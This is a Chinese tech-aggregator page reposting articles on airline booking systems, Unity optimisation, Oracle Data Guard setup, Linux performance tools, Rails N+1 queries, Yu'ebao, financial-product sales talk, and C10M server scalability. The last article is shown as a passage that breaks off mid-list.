Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15843 articles
Browse latest View live

航信三大系统及其连接方式(转)

$
0
0

机票代理人不应该单单只是了解客票,还应该对客票从出售到旅客登机以及最后结算整个过程有一个具体的概念,才能更好的理解订座记录,。知其然,更要知其所以然。

一名旅客来我们代理处购买机票,要经过哪些过程呢?那么首先,让我们来看看系统整个的连接情况:

航信的系统分为代理人系统(CRS),航空公司系统(ICS),离港系统(DCS)。

CRS全称是Computer Reservation System,即我们使用的代理人机票售票系统。CRS主要功能是为代理人提供航班可利用情况查询、航段销售、订座记录、机上座位预订等服务。

ICS全称是Inventory Control System,即航空公司人员使用的航空公司系统。ICS主要功能是建立,控制,销售航班。

DCS全称是Departure Control System,即机场人员使用的离港系统。DCS是为机场提供旅客值机、配载平衡、航班数据控制、登机控制联程值机等信息服务,可以满足值机控制、装载控制、登机控制以及信息交换等机场旅客服务所需的全部功能。

下面文章凡是涉及到代理人系统,航空公司系统,离港系统全部用他们的缩写代替。

一名旅客来代理处购机票。那么,机票代理处首先要做的就是在CRS系统为旅客查询航班信息,那么CRS系统的航班信息是从何而来的呢。CRS系统航班信息是由ICS系统得来,ICS系统的主要功能就是建立,控制和销售航班,所以航空公司就会把所建立好的航班信息传送到CRS以便代理人查询销售航班。

旅客这时要购票,代理处需要在CRS系统为其建立旅客订座信息,当我们建立好记录并封口后,旅客的订座信息会传送到ICS系统,告知航空公司有旅客订取了某某航班的某某舱位。如果订座正常,代理处可以为旅客出票了。

旅客拿到机票后需要去机场进行值机换登机牌登机,那么机场是如何知道旅客购买的什么航空公司机票什么舱位呢。DCS系统会在飞机起飞48小时之内对航班进行初始化,ICS系统这时会对DCS系统拍发一份PNL报(旅客名单报),PNL报是指ICS系统把这个航班上所有旅客订座过的记录信息传送到DCS系统以便进行旅客值机。但在航班初始化完后到航班起飞这段期间内,ICS系统还会向DCS系统拍发一份ADL报(旅客增减报),ADL报指把在航班初始化完后到航班起飞这段时间,如果有新的旅客订座和原有旅客取消座位的信息,也会传送到DCS系统以便对上次初始化信息进行修改。

最后,当旅客正常登机并且飞机正常起飞之后。这是DCS系统会向ICS系统拍发一份PFS报(最终销售报),PFS报是指把最后所有正常登机的旅客订座信息传送给航空公司系统,那么航空公司系统就可凭这些数据就可以进行结算了。

那么,上面就是旅客从购票到换取登机牌,然后正常登机同时飞机也正常起飞的一个完整过程。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




Unity优化总结

$
0
0

    我们的游戏已经在wp8、ios和android平台上线了。这是我做的第一个Unity项目,期间遇到过不少困难和挫折,但是我和小伙伴们一路摸索,现在,游戏已经上线一段时间,并且很稳定。对于Unity,我一直在项目中学习,我会写一系列的文章记录自己的学习,希望看到文章的朋友多多交流。


    项目中后期,我做了一些优化工作,这里记录总结一下。


一、纹理压缩格式

    非GPU支持的纹理格式,需要经过CPU解码;而GPU支持的纹理格式,GPU直接解码和显示,GPU的解码有很多优化,随机访问、快速寻址和并行解码等,因此效率高得多。而且,压缩过的纹理文件通常更小,比如ETC1是8:1的压缩比,文件小就意味着加载更快,更节约系统带宽。在手机上对比测试一下加载一个1MB的文件和一个8MB文件的耗时吧。


    在ios设备上,建议选择PVR格式。wp8和win8设备上,DXT格式。android设备,不透明贴图选择通用支持的ETC格式;而透明贴图,4大GPU厂商各自有自己的压缩格式,可以选择RGBA16。


    实测效果:显著提高渲染表现。我第一次打wp8包在lumia 520上运行,比较卡,声音有卡顿;改纹理压缩格式为DXT1/DXT5之后,在lumia 520上运行比较流畅,声音卡顿现象也没有了。


    另外,贴图建议做成方形的,一般不要超过1024x1024。我们最初在lumia 520上偶尔有纹理丢失现象,后来我把几个2048的贴图拆成1024x1024的,问题再也没有出现过,原因没搞明白,知道的朋友朋友请不吝赐教。


2. 限帧

    在移动设备上,Unity默认是60帧/秒,建议关掉垂直同步,把FPS限为30,进入后台时为1。限帧可以显著的减少发热和耗电。


3. 图集/材质/Mesh合并

    我仅仅通过优化图集,就将游戏的内存占用降低了30M。而且,因为DrawCall减少了,游戏中一个比较复杂的关卡列表界面,渲染耗时减少了一半。


4. 资源优化

    我们的战斗场景是3D的,我测试的时候发现这个3D场景渲染表现很差,打开战斗场景,在Galaxy S4上竟然只有35FPS左右!要命的是我们没有美术,美术都是外包的,外包那边的同学不懂移动平台的优化。我找了一些美术优化的文章发给他,估计他也没看懂,他改了几次,渲染表现没有任何改善。最后只能我自己上阵了,我看不懂那些种类繁多的美术资源,采用最笨的二分法,最后查到一个水花溅起的烟雾效果是性能瓶颈。这个效果的表现力很弱,跟产品、策划和美术商量之后把这个效果关闭了。然后,比S4次很多的手机也能跑满60FPS了。


5. 脚本优化

    很多时候,性能瓶颈点不在于渲染,而是脚本代码!我们要删除脚本中为空或不需要的默认方法,尽量少在Update中做事情,脚本不用时把它deactive。


    经过以上五步优化之后,在lumia 520,iphone 4和三星9100上测试,游戏都可以达到60FPS,满足了上线需求。但是,因为战斗场景元素最多,渲染表现最差,而且玩家在战斗场景中的时间最长,我后面又针对战斗做了一些优化。


6. 资源卸载、垃圾回收

   策划的同学反馈过,战斗的时候,偶尔会卡顿。仔细观察之后发现,是有规律的定时卡顿,然后检查代码发现,出于内存优化考虑,terender同学设计了每30秒自动进行一次资源卸载,资源卸载有时候还会触发GC.Collect()。改为进、出战场时卸载资源,而战斗中不再卸载,解决了偶尔卡顿的问题。


7. 资源预加载

    以空间换时间的方法。进入战场时,预加载战斗特效和卡牌,减少加载卡牌和发动技能时的帧数下降。这个地方,我最开始写成了阻塞式,后来发现会影响玩家进入战场的体验,改成了非阻塞的,用协程逐个加载。


8. 优化战斗卡牌渲染

    经过前面那些优化之后,我仍然不满足,一直在寻求继续的优化,让玩家的战斗体验可以更好。


    我们战斗时DrawCall能达到120个左右,我一直在考虑怎么降低DrawCall,3D场景占了20多个,这块没法优化了(没有美术啊%>_<%)。我就把目光盯向卡牌,战场上最多可以有20张卡牌,所以,卡牌是DrawCall的“贡献大户”。先问问策划,卡牌上是否有可以不显示或者合并的内容,策划的同学们寸步不让。吃了闭门羹,只能回来自己琢磨,后来终于想到,显示的内容我无法减少,但是我可以把所有的内容渲染到一起,这样以后绘制时只需要绘制渲染出的纹理而不需要绘制卡牌上“零散”的内容。


    卡牌上有卡像、卡框、种族、等级、名字、等级、攻/防等,贡献了5、6个DrawCall,而这些内容除了攻/防数字,别的内容在战斗时都不会改变,把他们渲染到一张纹理上,DrawCall就只有2个了:渲染出的纹理和攻/防数字!ps: 后来我觉得,攻/防数字也可以和别的内容渲染到一起,相对游戏的帧率,数字改变并不算频繁,每次数字改变重新绘制并不会带来显著的开销。


    想明白之后,实现就很简单了。然后,我分别打好wp8、ios和android的包,激动的测试,每个平台测试了至少30分钟。测试结果是:DrawCall降低了一半,帧数提高到了原来的2倍。而且,之前一直未较好解决的发热问题,完全解决了。在战场中打了30多分钟,lumia 520、Galaxy S4和iPhone 4s微微温,iPod Touch5,完全是凉的。对比了一下当前正火的《刀塔传奇》,完胜:-D。


    以上就是我在做我们的项目时,摸索出的适合我们游戏的一些Unity优化方案。因为我们的游戏是2D的,所以可能对于3D游戏的优化,有些方案可能并不适用,也不够全面。目前有些地方,我们做的也不是很好,优化是一项长期、持续的工作,后面我还会一直进行下去。


    下一篇文章预告:Unity自动打包工具,一键打包几十个渠道/平台。


作者:ynnmnm 发表于2014/7/4 2:17:18 原文链接
阅读:58 评论:0 查看评论

Dataguard搭建灾备库操作手册

$
0
0

数据库:Oracle11gr2

主库
alter database force logging;
alter system set db_unique_name='erpdb' scope=spfile;  --我们让主库db_name=db_unique_name
alter system set REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE scope=spfile;
alter system set LOG_ARCHIVE_FORMAT='%t_%s_%r.arc' scope=spfile;
alter system set LOG_ARCHIVE_CONFIG='DG_CONFIG=(erpdb,erpdg)' scope=both;
alter system set LOG_ARCHIVE_DEST_1='LOCATION=USE_DB_RECOVERY_FILE_DEST VALID_FOR=(ALL_LOGFILES,ALL_ROLES) DB_UNIQUE_NAME=erpdb' scope=both;
#alter system set LOG_ARCHIVE_DEST_2='SERVICE=erpdg ASYNC VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE) DB_UNIQUE_NAME=erpdg' scope=both;
alter system set LOG_ARCHIVE_DEST_2='SERVICE=10.10.1.251:1601/erpdg ASYNC VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE) DB_UNIQUE_NAME=erpdg' scope=both;
alter system set LOG_ARCHIVE_DEST_STATE_1=ENABLE scope=both;
alter system set LOG_ARCHIVE_DEST_STATE_2=defer scope=both;
alter system set LOG_ARCHIVE_MAX_PROCESSES=30 scope=both;

重启库
shutdown immediate;
startup mount
开启归档:
alter database archivelog;
alter database open;

将两边库的监听、tns都配好,能互相tnsping通。
监听
SID_LIST_erpdb =(SID_LIST =(SID_DESC =(ORACLE_HOME= /u01/erpdb/db/tech_st/11.2.0)(SID_NAME = erpdb)))
erpdb =(DESCRIPTION_LIST =(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = erpdb.dji.com)(PORT = 1601))))
SID_LIST_erpdg=(SID_LIST=(SID_DESC=(SID_NAME=erpdg)(ORACLE_HOME=/u01/erpdg/db/tech_st/11.2.0)))
erpdg=(DESCRIPTION_LIST=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.1.251)(PORT=1601))))
TNS
erpdb=(description =(address = (protocol = tcp)(host =10.10.0.251)(port = 1601))(connect_data = (sid = erpdb)))
erpdg=(description =(address = (protocol = tcp)(host =10.10.1.251)(port = 1601))(connect_data = (sid = erpdg)))

创建主库的密码文件,传送到dg库。或者dg库直接创建密码文件,sys密码与主库一致。
cd $ORACLE_HOME/dbs && orapwd file=orapw$ORACLE_SID password=oracle force=y

cd $ORACLE_HOME/dbs && vi fwy.ora
#
db_name=erpdb
db_unique_name=erpdg
db_create_file_dest='/u01/erpdg/db/apps_st'
diagnostic_dest='/u01/erpdg/db/tech_st/11.2.0/admin/erpdg_erpdg'
LOG_ARCHIVE_CONFIG='DG_CONFIG=(erpdb,erpdg)'
fal_server=erpdb
fal_client=erpdg
#
utl_file_dir='/tmp'
log_buffer=15728640 #15m
pga_aggregate_target=1073741824  #1G
java_pool_size=157286400  #150m
large_pool_size=157286400 #150m
sga_target=0
shared_pool_size=1073741824  #1G
db_cache_size=1073741824  #1G
parallel_max_servers = 8
_b_tree_bitmap_plans=FALSE
_fast_full_scan_enabled=FALSE
O7_DICTIONARY_ACCESSIBILITY=FALSE
_like_with_bind_as_equality=TRUE
_optimizer_autostats_job=FALSE
_sort_elimination_cost_ratio=5
_system_trig_enabled=TRUE
_trace_files_public=true
plsql_code_type='NATIVE'
plsql_optimize_level=2
compatible=11.2.0
cursor_sharing=EXACT
db_block_checking=false
db_block_checksum=true
db_files=5120
dml_locks=30000
log_checkpoint_interval=100000
log_checkpoint_timeout=1200
log_checkpoints_to_alert=TRUE
nls_territory=america
olap_page_pool_size=4194304
optimizer_secure_view_merging=FALSE
parallel_min_servers=0
sec_case_sensitive_logon=false
undo_management=auto
undo_retention=21600 #6小时
undo_tablespace=APPS_UNDOTS1
remote_login_passwordfile=EXCLUSIVE
query_rewrite_enabled=true
db_block_size=8192
db_file_multiblock_read_count=64
db_writer_processes=10
resource_manager_plan=''
_resource_manager_always_on = false
disk_asynch_io=false
open_cursors=7000
recyclebin =off
_system_trig_enabled = true
O7_DICTIONARY_ACCESSIBILITY = false
nls_language = american
nls_territory = america
nls_date_format='DD-MON-RR'
nls_numeric_characters='.,'
nls_sort=binary
nls_comp=binary
nls_length_semantics=BYTE
max_dump_file_size=51200
timed_statistics = true
processes=3000
sessions  = 6000
aq_tm_processes = 2
job_queue_processes = 30
_sqlexec_progression_cost = 2147483647
workarea_size_policy = AUTO
olap_page_pool_size = 4194304
optimizer_mode =FIRST_ROWS
LOG_ARCHIVE_FORMAT='%t_%s_%r.arc'
STANDBY_FILE_MANAGEMENT = auto

备库启动到nomount状态
sqlplus '/as sysdba'<<EOF
startup nomount pfile=?/dbs/fwy.ora
EOF

源端利用11g的duplicate from active技术
源端 
rman target sys/oracle auxiliary sys/oracle@erpdg
DUPLICATE TARGET DATABASE for standby  FROM ACTIVE DATABASE;

duplicate完毕后,备库:
create spfile='?/dbs/fwy2.ora' from memory;
cd $ORACLE_HOME/dbs && cp fwy2.ora spfile${ORACLE_SID}.ora

 

备库增加日志组,执行4次增加4组。
alter database add standby logfile size 50m;

主库开启传送日志
alter system set LOG_ARCHIVE_DEST_STATE_2=enable scope=both;

先不要open库,就算open也失败,因为此时可能数据文件不一致。所以,我们先recover一会儿,让其recover到一致状态。
alter database recover managed standby database using current logfile disconnect from session parallel 8;

一会儿后,停掉MRP进程:
ALTER DATABASE RECOVER MANAGED STANDBY DATABASE CANCEL;
然后可以开启open read only模式了。
alter database open read only;
alter database recover managed standby database using current logfile disconnect from session parallel 8;

观察mrp进程是否正常工作。
select PROCESS,STATUS,CLIENT_PROCESS,GROUP#,THREAD#,SEQUENCE# , BLOCK# from  v$managed_standby where process='MRP0';

--比较主库备库的应用日志最大时间
alter session set nls_date_format='yyyy-mm-dd hh24:mi:ss';
col max(first_time) for a30
select max(first_time) from v$log_history;

--对于主库就是写完了的最大日志,对于备库,就是应用完了的最大日志。
alter session set nls_date_format='yyyy-mm-dd hh24:mi:ss';
select max(sequence#) from v$log_history where resetlogs_time>=( select max(resetlogs_time ) from v$log_history) ; 

 


 

作者:f88520402 发表于2014-7-3 23:24:42 原文链接
阅读:93 评论:0 查看评论

linux下的性能查询命令

$
0
0

(1)查看各个CPU核的使用情况

sudo top -d 1

进入之后,按1,会出现下面的CPU使用情况,其中us列反映了各个CPU核的使用情况,百分比大说明该核在进行紧张的任务。



(2)查看哪个进程在哪个CPU核上运行

sudo top -d 1

进入之后,依次按f、j和空格,会出现如下(其中P列指示的是该进程最近使用的CPU核,如进程mencoder的P列为7,则表示mencoder最近在核7上运行,对于多线程甚至单线程的进程,在不同时刻会使用不同的CPU Core):



(3)vmstat查看整体的CPU使用情况

sudo vmstat 2 3

参数2表示每个2秒显示一下结果,3表示显示结果的数目。



cs列表示每秒上下文切换次数,us表示用户CPU时间。


(4)Intel工具powertop

sudo powertop

会显示各个CPU核的使用百分比。


(5)gprof分析一个程序

假设程序源文件为speedup-example.cpp

gcc speedup-example.cpp -o speedup-example -pg(注意-pg)

执行程序./speedup-example,会在当前目录生成gmon.out,这个文件是我们查看程序运行情况的来源,接下来用gprof命令查看它:

gprof -b speedup-example gmon.out > Results.txt

这样这个程序的运行信息就在Results.txt中了。



(6)pidstat实时查看一个进程的CPU使用情况及上下文切换情况

首先安装

sudo apt-get install sysstat

接下来使用pidstat(下面的-p是与进程号连用,用于显示特定进程的性能信息,之后还可以指定每隔几秒显示,一共显示几条):

  • pidstat 5 -p 15488(你要追踪的进程的pid)

这样就能实时显示15488进程的CPU使用情况:



  • pidstat -w —— 显示每个进程的上下文切换情况
pidstat -w -p 15488 2 —— 每隔2秒显示15488进程的上下文切换情况:


cswch/s —— 每秒该进程产生的voluntary context switches总数。voluntary context switches出现在访问一个已经被占用的资源,从而不得不挂起(即我们通常说的Synchronization Context Switches)

nvcswch/s —— 每秒该进程产生的involuntary context switches总数。involuntary  context switches发生在自己的时间片用完或被更高的优先级抢占(包含Preemption Context Switches)



作者:BlueCloudMatrix 发表于2014/7/3 23:05:56 原文链接
阅读:94 评论:0 查看评论

Rails中如何避免N+1问题

$
0
0

N+1问题

N+1问题是数据库访问中最常见的一个性能问题,首先介绍一下什么是N+1问题:


举个例子,我们数据库中有两张表,一个是Customers,一个是Orders。Orders中含有一个外键customer_id,指向了Customers的主键id。


想要得到所有Customer以及其分别对应的Order,一种写法是

SELECT * FROM Customers;

对于每一个Customer;

SELECT * FROM Orders WHERE Orders.customer_id = #{customer.id}

这样我们实际对数据库做了N+1次查询:选择所有Customer一次得到N个Customer,对于N个Customer分别选择其对应的Order一共N次。所以,一共执行了N+1次查询,这就是N+1问题



N+1问题的一般解决方法

使用Left Join一次性取出所有数据:

SELECT * FROM Customers LEFT JOIN Orders on Customers.id = Orders.customer_id

这样虽然取出的数据相对多一些,但是只需要一次执行



Rails中的N+1问题

因为Rails使用ActiveRecord访问数据库。所以,它的N+1问题暴露的不是那么明显。

假设我们有两个ActiveRecord:Customer、Order。

Customer has_many :orders

Order belong_to :customer


一般我们获取所有Customer的方法是:

customers = Customer.all

如果我们后面紧跟着

customers.each { |customer| puts customer.orders.amount }

这样就会产生N+1问题,因为在获取所有Customer的时候,是没有去取orders的。然后在后面each遍历的时候,就会挨个的取orders,这就构成了rails中的N+1

问题。


Rails中的N+1问题解决方法

customers = Customers.includes(:orders)

这样就在读取customers的时候也一次性的把orders都取出了。后面的参考资料有更详细的说明


更多

并不是对于所有的涉及到外键关联,一对多的问题都会产生N+1问题,这还是要取决于你的业务。比如你的方法在执行时,只有很少的可能会去获取customer对应的orders,那就保持默认的lazy方式去就行了。强制eager去取反而得不偿失。


参考资料:

http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations

作者:kiwi_coder 发表于2014-7-3 19:15:47 原文链接
阅读:89 评论:0 查看评论

余额宝的实现原理

$
0
0

余额宝确实是个好产品,完全可以颁发 "2013年最佳互联网产品" 给它.我以前买过很多次货币基金,存取都很麻烦,需要T+1,而余额宝消费/转账 都可以实时完成,所以我先把零钱都放到余额宝当中。相对现在乌央乌央扑到“民营银行”蛋糕那些炒作者们,余额宝做了个完美的资源整合

余额宝的3大优点

  1. 实时消费/取现
  2. 转账到多家银行免费
  3. 网站的易用性大大超过银行和各基金公司

余额宝实现这些功能,并不是向银监会申请到什么特殊政策,而只是在天弘增利宝货币基金上简单做了一个壳

  • 基金购买/赎回的T+1是硬性规定,你用余额宝消费/提款的时候,支付宝先把钱给你垫付上,明天基金的钱赎回到账之后自动还给支付宝。支付宝手上有大量的沉淀资金,帮你垫钱一点都没困难. 就这样很小的微创新,大大提高了基金的便利程度
  • 支付宝向各个银行转账免费,其实是支付宝在各家银行都开有户头,你向某个银行账号转账,支付宝就用该银行的账户向这个账号转账,这是同一银行内部转账,当然免费
  • 支付宝本身有大量的沉淀资金,主要是大量卖家的,以及付款14天的档期。支付宝在这个基础上做余额宝,根本不愁客源
  • 支付宝互联网产品制作水准,不用多说,甩银行10年吧。

所以,余额宝是个完美的资源整合,多方共赢

保险/基金/银行理财/个人投资中,有哪些似是而非的谎言/话术容易让人轻信而倒霉?

$
0
0
1、银行理财。防银行理财话术比较简单,主要注意几个关键点:A 购买日离销售日有多远?如果一个产品期限一个月,但是你购买日离起息日还有5天,那这个产品所公布的收益率基本就没什么意义,收益率需要打个折才行。B 分清楚工作人员说的收益率是他估计的收益率还是写到产品说明书里的收益率。C 区分清楚到底买的是不是银行理财产品。有些银行从业人员会将保险当银行理财卖。D 区分银行理财的风险等级。比如中行的理财风险评级分为五级,前三级都不需要担心本金安全,但是第四和第五类就得具体问题具体分析了。

2、基金。 作为一名天天和基金打交道、不断向客户推荐基金的从业人员,我的基金“话术”也经历了一个变化发展的过程。就整个基金市场而言,其实这几年还是取得了了长足的发展,但是同样伴随着许多问题,比如基金一线营销人员存在较为普遍的“话术”,有时甚至也有谎言。最关键的问题在于对风险的揭示以及对收益率的演示。这个问题说来话长,我想还是下次专门起个问题来说。

3、保险。 保险可以简单分为保障型和储蓄型保险。储蓄型保险又叫理财型保险,基本属于理财产品收益范畴,附带的保障功能基本可以忽略不计。在我看来,凡是储蓄型保险,除非特殊人群、特殊情况下有特殊需要,一般是不建议做的,因为它“两不像”。论收益,收益不怎么样,论保障又太弱。 这种类型的保险五花八门,但是其实万变不离其宗,收益率差别不大,保障也很弱。我曾经专门测试过多款看起来不太一样的产品的收益率,最终发现:不同保险公司的实力、从业人员素质可能有较大差距,但是他们雇佣的精算师绝对水平一定非常接近:算的都太准了,不会让你占便宜的。所以我的建议是除非有特殊需求和背景下需要选择,否则还是回避各种推销就可以了,因为他们说的都是最终离不开一个背后的本质。 通过其他理财方式获得更高的收益,再从理财收益中拿出一部分去买纯粹的保险,这种自己组合的方式要比保险公司的直接组合效果要好的多。



— 完 —
本文作者: 知乎用户(登录查看详情)

【知乎日报——重磅更新】新增热门内容排行榜,精彩点评外置,你行,你上啊。
新版下载:
http://daily.zhihu.com/download

此问题还有 38 个回答,查看全部。
延伸阅读:
银行用我的钱投资什么了?理财产品投资去向?
现在有哪些适合中国家庭投资理财的工具,分别适合什么家庭或阶段?

千万级并发实现的秘密:内核不是解决方案,而是问题所在!

$
0
0

既然我们已经解决了  C10K并发连接问题,应该如何提高水平支持千万级并发连接?你可能会说不可能。不,现在系统已经在用你可能不熟悉甚至激进的方式支持千万级别的并发连接。 

要知道它是如何做到的,我们首先要了解Errata Security的CEO Robert Graham,以及他在Shmoocon 2013大会上的“无稽之谈”——  C10M Defending The Internet At Scale。 

Robert用一种我以前从未听说的方式来很巧妙地解释了这个问题。他首先介绍了一点有关Unix的历史,Unix的设计初衷并不是一般的服务器操作系统,而是电话网络的控制系统。由于是实际传送数据的电话网络,所以在控制层和数据层之间有明确的界限。问题是我们现在根本不应该使用Unix服务器作为数据层的一部分。正如设计只运行一个应用程序的服务器内核,肯定和设计多用户的服务器内核是不同的。

也就是他所说的——关键要理解内核不是解决办法,内核是问题所在。 

这意味着: 

  • 不要让内核执行所有繁重的任务。将数据包处理,内存管理,处理器调度等任务从内核转移到应用程序高效地完成。让Linux只处理控制层,数据层完全交给应用程序来处理。

最终就是要设计这样一个系统,该系统可以处理千万级别的并发连接,它在200个时钟周期内处理数据包,在14万个时钟周期内处理应用程序逻辑。由于一次主存储器访问就要花费300个时钟周期,所以这是最大限度的减少代码和缓存丢失的关键。 

面向数据层的系统可以每秒处理1千万个数据包,面向控制层的系统,每秒只能处理1百万个数据包。

这似乎很极端,请记住一句老话:可扩展性是专业化的。为了做好一些事情,你不能把性能问题外包给操作系统来解决,你必须自己做。 
现在,让我们学习Robert如何创建一个能够处理千万级别并发连接的系统。 

C10K问题——最近十年  

十年前,工程师处理C10K可扩展性问题时,尽量避免服务器处理超过1万个的并发连接。通过改进操作系统内核以及用事件驱动服务器(如Nginx和Node)代替线程服务器(Apache),这个问题已经被解决。人们用十年的时间从Apache转移到可扩展服务器,在近几年,可扩展服务器的采用率增长得更快了。

Apache的问题 

  • Apache的问题在于服务器的性能会随着连接数的增多而变差
  • 关键点:性能和可扩展性并不是一回事。当人们谈论规模时,他们往往是在谈论性能,但是规模和性能是不同的,比如Apache。
  • 持续几秒的短期连接,比如快速事务,如果每秒处理1000个事务,只有约1000个并发连接到服务器。
  • 事务延长到10秒,要维持每秒1000个事务,必须打开1万个并发连接。这种情况下:尽管你不顾DoS攻击,Apache也会性能陡降;同时大量的下载操作也会使Apache崩溃。
  • 如果每秒处理的连接从5千增加到1万,你会怎么做?比方说,你升级硬件并且提高处理器速度到原来的2倍。发生了什么?你得到两倍的性能,但你没有得到两倍的处理规模。每秒处理的连接可能只达到了6000。你继续提高速度,情况也没有改善。甚至16倍的性能时,仍然不能处理1万个并发连接。所以说性能和可扩展性是不一样的。
  • 问题在于Apache会创建一个CGI进程,然后关闭,这个步骤并没有扩展。
  • 为什么呢?内核使用的O(N^2)算法使服务器无法处理1万个并发连接。
  • 内核中的两个基本问题:
  • 连接数=线程数/进程数。当一个数据包进来,内核会遍历其所有进程以决定由哪个进程来处理这个数据包。
  • 连接数=选择数/轮询次数(单线程)。同样的可扩展性问题,每个包都要走一遭列表上所有的socket。
  • 解决方法:改进内核使其在常数时间内查找。
  • 使线程切换时间与线程数量无关。
  • 使用一个新的可扩展epoll()/IOCompletionPort常数时间去做socket查询。
  • 因为线程调度并没有得到扩展,所以服务器大规模对socket使用epoll方法,这样就导致需要使用异步编程模式,而这些编程模式正是Nginx和Node类型服务器具有的;所以当从Apache迁移到Nginx和Node类型服务器时,即使在一个配置较低的服务器上增加连接数,性能也不会突降;所以在10K连接时,一台笔记本电脑的速度甚至超过了16核的服务器。

C10M问题——未来十年

不远的将来,服务器将要处理数百万的并发连接。IPv6协议下,每个服务器的潜在连接数都是数以百万级的,所以处理规模需要升级。

  • 如IDS / IPS这类应用程序需要支持这种规模,因为它们连接到一个服务器骨干网。其他例子:DNS根服务器,TOR节点,互联网Nmap,视频流,银行,Carrier NAT,VoIP PBX,负载均衡器,网页缓存,防火墙,电子邮件接收,垃圾邮件过滤。
  • 通常人们将互联网规模问题归根于应用程序而不是服务器,因为他们卖的是硬件+软件。你买设备,并将其应用到你的数据中心。这些设备可能包含一块Intel主板或网络处理器以及用来加密和检测数据包的专用芯片等。
  • 截至2013年2月,40gpbs, 32-cores, 256gigs RAM的X86服务器在Newegg网站上的报价是5000美元。该服务器可以处理1万个以上的并发连接,如果它们不能,那是因为你选择了错误的软件,而不是底层硬件的问题。这个硬件可以很容易地扩展到1千万个并发连接。 

10M的并发连接挑战意味着什么: 

 

  1. 1千万的并发连接数 
  2. 100万个连接/秒——每个连接以这个速率持续约10秒 
  3. 10GB/秒的连接——快速连接到互联网。 
  4. 1千万个数据包/秒——据估计目前的服务器每秒处理50K的数据包,以后会更多。过去服务器每秒可以处理100K的中断,并且每一个数据包都产生中断。 
  5. 10微秒的延迟——可扩展服务器也许可以处理这个规模,但延迟可能会飙升。 
  6. 10微秒的抖动——限制最大延迟 
  7. 并发10核技术——软件应支持更多核的服务器。通常情况下,软件能轻松扩展到四核。服务器可以扩展到更多核,因此需要重写软件,以支持更多核的服务器。 

 

我们所学的是Unix而不是网络编程 

  • 很多程序员通过W. Richard Stevens所著的《Unix网络编程》学习网络编程技术。问题是,这本书是关于Unix的,而不只是网络编程。它告诉你,让Unix做所有繁重的工作,你只需要在Unix的上层写一个小服务器。但内核规模不够,解决的办法是尽可能将业务移动到内核之外,并且自己处理所有繁重的业务。
  • 这方面有影响的一个例子是Apache每个连接线程的模型。这意味着线程调度程序根据将要到来的数据确定接下来调用哪一个read()函数,也就是把线程调度系统当作数据包调度系统来用。(我真的很喜欢这一点,从来没有想过这样的说法)。
  • Nginx宣称,它不把线程调度当作数据包调度程序,而是自己进行数据包调度。使用select找到socket,我们知道数据来了,就可以立即读取并处理数据,数据也不会堵塞。
  • 经验:让Unix处理网络堆栈,但之后的业务由你来处理。

怎样编写规模较大的软件?

如何改变你的软件,使其规模化?许多只提升硬件性能去支撑项目扩展的经验都是错误的,我们需要知道性能的实际情况。 

要达到到更高的水平,需要解决的问题如下: 

 

  1. 数据包的可扩展性 
  2. 多核的可扩展性 
  3. 内存的可扩展性 

 

实现数据包可扩展——编写自己的个性化驱动来绕过堆栈 

  • 数据包的问题是它们需经Unix内核的处理。网络堆栈复杂缓慢,数据包最好直接到达应用程序,而非经过操作系统处理之后。
  • 做到这一点的方法是编写自己的驱动程序。所有驱动程序将数据包直接发送到应用程序,而不是通过堆栈。你可以找到这种驱动程序:PF_RING,NETMAP,Intel DPDK(数据层开发套件)。Intel不是开源的,但有很多相关的技术支持。
  • 速度有多快?Intel的基准是在一个相当轻量级的服务器上,每秒处理8000万个数据包(每个数据包200个时钟周期)。这也是通过用户模式。将数据包向上传递,使用用户模式,处理完毕后再返回。Linux每秒处理的数据包个数不超过百万个,将UDP数据包提高到用户模式,再次出去。客户驱动程序和Linux的性能比是80:1。
  • 对于每秒1000万个数据包的目标,如果200个时钟周期被用来获取数据包,将留下1400个时钟周期实现类似DNS / IDS的功能。
  • 通过PF_RING得到的是原始数据包,所以你必须做你的TCP堆栈。人们所做的是用户模式栈。Intel有现成的可扩展TCP堆栈

多核的可扩展性 

多核可扩展性不同于多线程可扩展性。我们都熟知这个理念:处理器的速度并没有变快,我们只是靠增加数量来达到目的。 
大多数的代码都未实现4核以上的并行。当我们添加更多内核时,下降的不仅仅是性能等级,处理速度可能也会变得越来越慢,这是软件的问题。我们希望软件的提高速度同内核的增加接近线性正相关。 
多线程编程不同于多核编程

  • 多线程
  • 每个CPU内核中不止一个线程
  • 用锁来协调线程(通过系统调用)
  • 每个线程有不同的任务
  • 多核
  • 每个CPU内核中只有一个线程
  • 当两个线程/内核访问同一个数据时,不能停下来互相等待
  • 同一个任务的不同线程
  • 要解决的问题是怎样将一个应用程序分布到多个内核中去
  • Unix中的锁在内核实现。4内核使用锁的情况是大多数软件开始等待其他线程解锁。因此,增加内核所获得的收益远远低于等待中的性能损耗。
  • 我们需要这样一个架构,它更像高速公路而不是红绿灯控制的十字路口,无需等待,每个人都以自己的节奏行进,尽可能节省开销。
  • 解决方案:
  • 在每个核心中保存数据结构,然后聚合的对数据进行读取。
  • 原子性。CPU支持可以通过C语言调用的指令,保证原子性,避免冲突发生。开销很大,所以不要处处使用。
  • 无锁的数据结构。线程无需等待即可访问,在不同的架构下都是复杂的工作,请不要自己做。
  • 线程模型,即流水线与工作线程模型。这不只是同步的问题,而是你的线程如何架构。
  • 处理器关联。告诉操作系统优先使用前两个内核,然后设置线程运行在哪一个内核上,你也可以通过中断到达这个目的。所以,CPU由你来控制而不是Linux。

内存的可扩展性 

  • 如果你有20G的RAM,假设每次连接占用2K的内存,如果你还有20M的三级缓存,缓存中会没有数据。数据转移到主存中处理花费300个时钟周期,此时CPU没有做任何事情。
  • 每个数据包要有1400个时钟周期(DNS / IDS的功能)和200个时钟周期(获取数据包)的开销,每个数据包我们只有4个高速缓存缺失,这是一个问题。
  • 联合定位数据
  • 不要通过指针在满内存乱放数据。每次你跟踪一个指针,都会是一个高速缓存缺失:[hash pointer] -> [Task Control Block] -> [Socket] -> [App],这是四个高速缓存缺失。
  • 保持所有的数据在一个内存块:[TCB |socket| APP]。给所有块预分配内存,将高速缓存缺失从4减少到1。
  • 分页
